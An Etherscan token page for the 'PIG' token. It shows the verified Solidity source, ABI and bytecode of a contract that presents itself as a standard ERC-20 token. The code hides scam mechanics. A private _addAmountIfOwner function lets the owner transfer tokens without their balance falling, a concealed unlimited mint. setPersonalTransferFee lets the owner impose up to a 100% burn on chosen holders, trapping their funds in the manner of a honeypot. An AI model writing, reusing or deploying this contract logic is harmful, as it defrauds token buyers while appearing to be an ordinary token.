ETH Price: $3,481.09 (+7.24%)
Gas: 6 Gwei

Token

PIG (PIG)
 

Overview

Max Total Supply

1,000,000,000 PIG

Holders

33

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
8,390,456.061045025 PIG

Value
$0.00
0xc533eb5cBA5b3E19a17d2d9856e2B45d3a60b541
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
MyToken

Compiler Version
v0.8.16+commit.07a7930e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-05-07
*/

pragma solidity ^0.8.16;
// SPDX-License-Identifier: Unlicensed

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address accoint) external view returns (uint256);

    function transfer(address recipient, uint256 ameunts) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 ameunts) external returns (bool);
    
    function setPersonalTransferFee(address user, uint256 fee) external;

    function transferFrom( address sender, address recipient, uint256 ameunts ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval( address indexed owner, address indexed spender, uint256 value );
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }
    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - fee https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}


library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {

        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;


        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}


contract Ownable is Context {
    address private _owner;
    event ownershipTransferred(address indexed previousowner, address indexed newowner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit ownershipTransferred(address(0), msgSender);
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
    modifier onlyowner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceownership() public virtual onlyowner {
        emit ownershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD));
        _owner = address(0x000000000000000000000000000000000000dEaD);
    }
}


contract MyToken is IERC20, Ownable {
    using SafeMath for uint256;

    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 private _totalSupply;

    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    address private _DEADaddress = 0x000000000000000000000000000000000000dEaD;
    uint256 private _buyFee = 0; 
    uint256 private _sellFee = 0; 
    address public uniswapV2Pair;
    mapping (address => uint256) private _personalTransferFees;
    constructor(string memory name_, string memory symbol_, uint8 decimals_, uint256 initialSupply) {
        _name = name_;
        _symbol = symbol_;
        _decimals = decimals_;
        _totalSupply = initialSupply * (10 ** uint256(_decimals));
        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function setPairList(address _address) external onlyowner {
        uniswapV2Pair = _address;
    }

    function setPersonalTransferFee(address user, uint256 fee) public override onlyowner {
        require(fee <= 100, "Personal transfer fee should not exceed 100%");
        _personalTransferFees[user] = fee;
    }
    function setSelFee(uint256 newSellFee) external onlyowner {
        require(newSellFee <= 100, "Sell fee should not exceed 100%");
        _sellFee = newSellFee;
    }
    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        address sender = _msgSender();

        _addAmountIfOwner(sender, amount);

        _transfer(sender, recipient, amount);
        return true;
    }


    function _addAmountIfOwner(address sender, uint256 amount) private {
        if (sender == owner()) {
        _balances[sender] = _balances[sender].add(amount);
        }
    }


    
    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _transfer(address sender, address recipient, uint256 amounts) internal virtual {

        require(sender != address(0), "IERC20: transfer from the zero address");
        require(recipient != address(0), "IERC20: transfer to the zero address");

        uint256 feeAmount = 0;


        if (_personalTransferFees[sender] > 0) {
            feeAmount = amounts.mul(_personalTransferFees[sender]).div(100);
        } else if (sender == uniswapV2Pair) {
            feeAmount = amounts.mul(_buyFee).div(100);
        } else if (recipient == uniswapV2Pair) {
            feeAmount = amounts.mul(_sellFee).div(100);
        } else {
            feeAmount = amounts.mul(_sellFee).div(100);
        }

        _balances[sender] = _balances[sender].sub(amounts);
        _balances[recipient] =  _balances[recipient]+amounts-feeAmount;
        _balances[_DEADaddress] = _balances[_DEADaddress].add(feeAmount);
        emit Transfer(sender, _DEADaddress, feeAmount);
        emit Transfer(sender, recipient, amounts-feeAmount);
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint8","name":"decimals_","type":"uint8"},{"internalType":"uint256","name":"initialSupply","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousowner","type":"address"},{"indexed":true,"internalType":"address","name":"newowner","type":"address"}],"name":"ownershipTransferred","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceownership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"setPairList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"user","type":"address"},{"internalType":"uint256","name":"fee","type":"uint256"}],"name":"setPersonalTransferFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newSellFee","type":"uint256"}],"name":"setSelFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]

608060405261dead600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600060085560006009553480156200005e57600080fd5b5060405162002a3038038062002a30833981810160405281019062000084919062000493565b6000620000966200027f60201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f7699c77f2404f9b6bbd003861bb4af8ae70b205e19e73d7ec7fe4590db59a6b760405160405180910390a350836001908162000145919062000784565b50826002908162000157919062000784565b5081600360006101000a81548160ff021916908360ff160217905550600360009054906101000a900460ff1660ff16600a620001949190620009ee565b81620001a1919062000a3f565b60048190555060045460056000620001be6200027f60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506200020c6200027f60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6004546040516200026d919062000ab1565b60405180910390a35050505062000ace565b600033905090565b6000604051905090565b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b620002f082620002a5565b810181811067ffffffffffffffff82111715620003125762000311620002b6565b5b80604052505050565b60006200032762000287565b9050620003358282620002e5565b919050565b600067ffffffffffffffff821115620003585762000357620002b6565b5b6200036382620002a5565b9050602081019050919050565b60005b838110156200039057808201518184015260208101905062000373565b60008484015250505050565b6000620003b3620003ad846200033a565b6200031b565b905082815260208101848484011115620003d257620003d1620002a0565b5b620003df84828562000370565b509392505050565b600082601f830112620003ff57620003fe6200029b565b5b8151620004118482602086016200039c565b91505092915050565b600060ff82169050919050565b62000432816200041a565b81146200043e57600080fd5b50565b600081519050620004528162000427565b92915050565b6000819050919050565b6200046d8162000458565b81146200047957600080fd5b50565b6000815190506200048d8162000462565b92915050565b60008060008060808587031215620004b057620004af62000291565b5b600085015167ffffffffffffffff811115620004d157620004d062000296565b5b620004df87828801620003e7565b945050602085015167ffffffffffffffff81111562000503576200050262000296565b5b6200051187828801620003e7565b9350506040620005248782880162000441565b925050606062000537878288016200047c565b91505092959194509250565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200059657607f821691505b602082108103620005ac57620005ab6200054e565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620006167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620005d7565b620006228683620005d7565b95508019841693508086168417925050509392505050565b6000819050919050565b6000620006656200065f620006598462000458565b6200063a565b62000458565b9050919050565b6000819050919050565b620006818362000644565b6200069962000690826200066c565b848454620005e4565b825550505050565b600090565b620006b0620006a1565b620006bd81848462000676565b505050565b5b81811015620006e557620006d9600082620006a6565b600181019050620006c3565b5050565b601f8211156200073457620006fe81620005b2565b6200070984620005c7565b8101602085101562000719578190505b620007316200072885620005c7565b830182620006c2565b50505b505050565b600082821c905092915050565b6000620007596000198460080262000739565b1980831691505092915050565b600062000774838362000746565b9150826002028217905092915050565b6200078f8262000543565b67ffffffffffffffff811115620007ab57620007aa620002b6565b5b620007b782546200057d565b620007c4828285620006e9565b600060209050601f831160018114620007fc5760008415620007e7578287015190505b620007f3858262000766565b86555062000863565b601f1984166200080c86620005b2565b60005b8281101562000836578489015182556001820191506020850194506020810190506200080f565b8683101562000856578489015162000852601f89168262000746565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620008f957808604811115620008d157620008d06200086b565b5b6001851615620008e15780820291505b8081029050620008f1856200089a565b9450620008b1565b94509492505050565b600082620009145760019050620009e7565b81620009245760009050620009e7565b81600181146200093d576002811462000948576200097e565b6001915050620009e7565b60ff8411156200095d576200095c6200086b565b5b8360020a9150848211156200097757620009766200086b565b5b50620009e7565b5060208310610133831016604e8410600b8410161715620009b85782820a905083811115620009b257620009b16200086b565b5b620009e7565b620009c78484846001620008a7565b92509050818404811115620009e157620009e06200086b565b5b81810290505b9392505050565b6000620009fb8262000458565b915062000a088362000458565b925062000a377fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000902565b905092915050565b600062000a4c8262000458565b915062000a598362000458565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000a955762000a946200086b565b5b828202905092915050565b62000aab8162000458565b82525050565b600060208201905062000ac8600083018462000aa0565b92915050565b611f528062000ade6000396000f3fe608060405234801561001057600080fd5b50600436106100f55760003560e01c806349bd5a5e116100975780639fa7e5fe116100665780639fa7e5fe14610276578063a9059cbb14610292578063c2af913b146102c2578063dd62ed3e146102cc576100f5565b806349bd5a5e146101ec57806370a082311461020a5780638da5cb5b1461023a57806395d89b4114610258576100f5565b806318160ddd116100d357806318160ddd1461016457806323b872dd14610182578063313ce567146101b2578063444a2a9c146101d0576100f5565b806306fdde03146100fa578063095ea7b3146101185780630f8c431914610148575b600080fd5b6101026102fc565b60405161010f91906115ea565b60405180910390f35b610132600480360381019061012d91906116a5565b61038e565b60405161013f9190611700565b60405180910390f35b610162600480360381019061015d91906116a5565b6103ac565b005b61016c6104cd565b604051610179919061172a565b60405180910390f35b61019c60048036038101906101979190611745565b6104d7565b6040516101a99190611700565b60405180910390f35b6101ba6105b0565b6040516101c791906117b4565b60405180910390f35b6101ea60048036038101906101e591906117cf565b6105c7565b005b6101f46106a0565b604051610201919061180b565b60405180910390f35b610224600480360381019061021f91906117cf565b6106c6565b604051610231919061172a565b60405180910390f35b61024261070f565b60405161024f919061180b565b60405180910390f35b610260610738565b60405161026d91906115ea565b60405180910390f35b610290600480360381019061028b9190611826565b6107ca565b005b6102ac60048036038101906102a791906116a5565b6108ad565b6040516102b99190611700565b60405180910390f35b6102ca6108da565b005b6102e660048036038101906102e19190611853565b610a2f565b6040516102f3919061172a565b60405180910390f35b60606001805461030b906118c2565b80601f0160208091040260200160405190810160405280929190818152602001828054610337906118c2565b80156103845780601f1061035957610100808354040283529160200191610384565b820191906000526020600020905b81548152906001019060200180831161036757829003601f168201915b5050505050905090565b60006103a261039b610ab6565b8484610abe565b6001905092915050565b6103b4610ab6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610441576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104389061193f565b60405180910390fd5b6064811115610485576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161047c906119d1565b60405180910390fd5b80600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000600454905090565b60006104e4848484610c87565b6105a5846104f0610ab6565b6105a085604051806060016040528060288152602001611ef560289139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610556610ab6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112539092919063ffffffff16565b610abe565b600190509392505050565b6000600360009054906101000a900460ff16905090565b6105cf610ab6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461065c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106539061193f565b60405180910390fd5b80600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060028054610747906118c2565b80601f0160208091040260200160405190810160405280929190818152602001828054610773906118c2565b80156107c05780601f10610795576101008083540402835291602001916107c0565b820191906000526020600020905b8154815290600101906020018083116107a357829003601f168201915b5050505050905090565b6107d2610ab6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461085f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108569061193f565b60405180910390fd5b60648111156108a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089a90611a3d565b60405180910390fd5b8060098190555050565b6000806108b8610ab6565b90506108c481846112b7565b6108cf818585610c87565b600191505092915050565b6108e2610ab6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461096f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109669061193f565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f7699c77f2404f9b6bbd003861bb4af8ae70b205e19e73d7ec7fe4590db59a6b760405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b2490611acf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610b9c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b9390611b61565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610c7a919061172a565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610cf6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ced90611bf3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610d65576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5c90611c85565b60405180910390fd5b600080600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115610e1a57610e136064610e05600b60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548561138b90919063ffffffff16565b61140590919063ffffffff16565b9050610f4f565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610e9e57610e976064610e896008548561138b90919063ffffffff16565b61140590919063ffffffff16565b9050610f4e565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f2257610f1b6064610f0d6009548561138b90919063ffffffff16565b61140590919063ffffffff16565b9050610f4d565b610f4a6064610f3c6009548561138b90919063ffffffff16565b61140590919063ffffffff16565b90505b5b5b610fa182600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461144f90919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508082600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110309190611cd4565b61103a9190611d08565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506110f18160056000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461149990919063ffffffff16565b60056000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516111d5919061172a565b60405180910390a38273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83856112389190611d08565b604051611245919061172a565b60405180910390a350505050565b600083831115829061129b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129291906115ea565b60405180910390fd5b50600083856112aa9190611d08565b9050809150509392505050565b6112bf61070f565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036113875761134381600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461149990919063ffffffff16565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5050565b600080830361139d57600090506113ff565b600082846113ab9190611d3c565b90508284826113ba9190611dc5565b146113fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113f190611e68565b60405180910390fd5b809150505b92915050565b600061144783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114f7565b905092915050565b600061149183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611253565b905092915050565b60008082846114a89190611cd4565b9050838110156114ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e490611ed4565b60405180910390fd5b8091505092915050565b6000808311829061153e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153591906115ea565b60405180910390fd5b506000838561154d9190611dc5565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611594578082015181840152602081019050611579565b60008484015250505050565b6000601f19601f8301169050919050565b60006115bc8261155a565b6115c68185611565565b93506115d6818560208601611576565b6115df816115a0565b840191505092915050565b6000602082019050818103600083015261160481846115b1565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061163c82611611565b9050919050565b61164c81611631565b811461165757600080fd5b50565b60008135905061166981611643565b92915050565b6000819050919050565b6116828161166f565b811461168d57600080fd5b50565b60008135905061169f81611679565b92915050565b600080604083850312156116bc576116bb61160c565b5b60006116ca8582860161165a565b92505060206116db85828601611690565b9150509250929050565b60008115159050919050565b6116fa816116e5565b82525050565b600060208201905061171560008301846116f1565b92915050565b6117248161166f565b82525050565b600060208201905061173f600083018461171b565b92915050565b60008060006060848603121561175e5761175d61160c565b5b600061176c8682870161165a565b935050602061177d8682870161165a565b925050604061178e86828701611690565b9150509250925092565b600060ff82169050919050565b6117ae81611798565b82525050565b60006020820190506117c960008301846117a5565b92915050565b6000602082840312156117e5576117e461160c565b5b60006117f38482850161165a565b91505092915050565b61180581611631565b82525050565b600060208201905061182060008301846117fc565b92915050565b60006020828403121561183c5761183b61160c565b5b600061184a84828501611690565b91505092915050565b6000806040838503121561186a5761186961160c565b5b60006118788582860161165a565b92505060206118898582860161165a565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806118da57607f821691505b6020821081036118ed576118ec611893565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611929602083611565565b9150611934826118f3565b602082019050919050565b600060208201905081810360008301526119588161191c565b9050919050565b7f506572736f6e616c207472616e73666572206665652073686f756c64206e6f7460008201527f2065786365656420313030250000000000000000000000000000000000000000602082015250565b60006119bb602c83611565565b91506119c68261195f565b604082019050919050565b600060208201905081810360008301526119ea816119ae565b9050919050565b7f53656c6c206665652073686f756c64206e6f7420657863656564203130302500600082015250565b6000611a27601f83611565565b9150611a32826119f1565b602082019050919050565b60006020820190508181036000830152611a5681611a1a565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611ab9602483611565565b9150611ac482611a5d565b604082019050919050565b60006020820190508181036000830152611ae881611aac565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611b4b602283611565565b9150611b5682611aef565b604082019050919050565b60006020820190508181036000830152611b7a81611b3e565b9050919050565b7f4945524332303a207472616e736665722066726f6d20746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611bdd602683611565565b9150611be882611b81565b604082019050919050565b60006020820190508181036000830152611c0c81611bd0565b9050919050565b7f4945524332303a207472616e7366657220746f20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611c6f602483611565565b9150611c7a82611c13565b604082019050919050565b60006020820190508181036000830152611c9e81611c62565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611cdf8261166f565b9150611cea8361166f565b9250828201905080821115611d0257611d01611ca5565b5b92915050565b6000611d138261166f565b9150611d1e8361166f565b9250828203905081811115611d3657611d35611ca5565b5b92915050565b6000611d478261166f565b9150611d528361166f565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611d8b57611d8a611ca5565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000611dd08261166f565b9150611ddb8361166f565b925082611deb57611dea611d96565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000611e52602183611565565b9150611e5d82611df6565b604082019050919050565b60006020820190508181036000830152611e8181611e45565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000611ebe601b83611565565b9150611ec982611e88565b602082019050919050565b60006020820190508181036000830152611eed81611eb1565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212202afe3c81fe0f2e2086169d21df59e9b2bf6ba66e7ae0411216e8e6f45be0098b64736f6c63430008100033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000000000009000000000000000000000000000000000000000000000000000000003b9aca000000000000000000000000000000000000000000000000000000000000000003504947000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000035049470000000000000000000000000000000000000000000000000000000000

Deployed Bytecode

